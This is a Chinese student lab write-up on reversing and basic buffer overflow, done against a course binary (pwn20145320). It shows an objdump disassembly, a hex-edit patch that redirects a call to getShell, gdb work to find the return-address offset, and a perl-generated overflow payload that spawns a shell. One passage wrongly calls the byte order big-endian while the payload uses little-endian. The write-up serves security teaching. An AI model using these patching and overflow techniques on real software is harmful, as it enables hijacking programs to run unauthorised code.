20145320《网络对抗》逆向及Bof基础实践

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn20145320的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

使用两种方法：

1.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

2.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

这几种思路，基本代表现实情况中的攻击目标

• （1）运行原本不可访问的代码片段
• （2）强行修改程序执行流
• （3）以及注入运行任意代码。

1.2 基础知识

1 直接修改程序机器指令，改变程序执行流程

对目标文件pwn20145320进行反汇编。下面只保留了最核心的几行代码。

root@KaliYL:~#  objdump -d pwn20145320 | more

0804847d <getShell>:
 804847d:   55                      push   %ebp
...
08048491 <foo>:
 8048491:   55                      push   %ebp
...
080484af <main>:
...
80484b5:   e8 d7 ff ff ff          call   8048491 <foo>
80484ba:   b8 00 00 00 00          mov    $0x0,%eax
...

先看第12行，"call 8048491 "是汇编指令，是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

main函数调用foo，对应机器指令为“ e8 d7ffffff”，那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

root@KaliYL:~# vi pwn20145320
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd

3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3

6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.再反汇编看一下，call指令是否正确调用getShell

root@KaliYL:~# objdump -d pwn20145320 | more
...
080484af <main>:
80484af:   55                      push   %ebp
80484b0:   89 e5                   mov    %esp,%ebp
80484b2:   83 e4 f0                and    $0xfffffff0,%esp
80484b5:   e8 c3 ff ff ff          call   804847d <getShell>
80484ba:   b8 00 00 00 00          mov    $0x0,%eax

2 通过构造输入参数，造成BOF攻击，改变程序执行流

发现该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞

08048491 <foo>:
8048491:   55                      push   %ebp
8048492:   89 e5                   mov    %esp,%ebp
8048494:   83 ec 38                sub    $0x38,%esp
8048497:   8d 45 e4                lea    -0x1c(%ebp),%eax
804849a:   89 04 24                mov    %eax,(%esp)

== 这里读入字符串，但系统只预留了？字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

080484af <main>:
80484af:   55                      push   %ebp
80484b0:   89 e5                   mov    %esp,%ebp
80484b2:   83 e4 f0                and    $0xfffffff0,%esp
80484b5:   e8 d7 ff ff ff          call   8048491 <foo>

上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

3 确认输入字符串哪几个字符会覆盖到返回地址

为了确定使用多少个字节才会使缓冲区溢出，这里使用暴力破解法，及一个一个字符添加直到出现Segmentation fault字样。

这里可以回答上面的问题是27字节！！

但是我们的目标是将寄存器%eip的值给覆盖掉，并非单纯地找到溢出长度！！

这里使用GDB调试：

root@KaliYL:~# gdb pwn20145320
(gdb) r
Starting program: /root/pwn20145320
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.

同时查看每个寄存器的值，查看的关键是寄存器eip的值！

(gdb) info r
...
eip            0x35353535   0x35353535            //注意EIP的值，是ASCII 5
...

再次调试查看是哪个字符被覆盖到了eip中：

Start it from the beginning? (y or n) y

Starting program: /root/pwn20145320

1111111122222222333333334444444412345678

1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip            0x34333231   0x34333231
eflags         0x10246  [ PF ZF IF RF ]

仔细观察发现其实图上已经在询问eip的值是什么！

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn20145320，pwn20145320就会运行getShell。

4 确认用什么值来覆盖返回地址

getShell的内存地址是0804847d。

接下来要确认下字节序（这里是低字节放在高位的大端法），简单说是输入11111111222222223333333344444444\x7d\x84\x04\x08。（前面32字节可以任意输入）

5 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

root@KaliYL:~# perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

root@KaliYL:~# xxd input
00000000: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000010: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000020: 7d84 0408 0a                             }....

然后将input的输入，通过管道符“|”，作为pwn20145320的输入。

root@KaliYL:~# (cat input; cat) | ./pwn20145320

实验思考与反思

• 1、第一个实验是修改call函数调用的函数地址来调用同一文件中的另一个函数。但是万一这个可执行文件里面只有一个函数，并没有其他函数怎么办，只能自己注入代码！而且我感觉自己注入代码的情况会更多！

• 2、在缓冲区溢出攻击中除了使用暴力破解来找缓冲区的大小，假如有可以计算的方法可能会减少很大的工作量。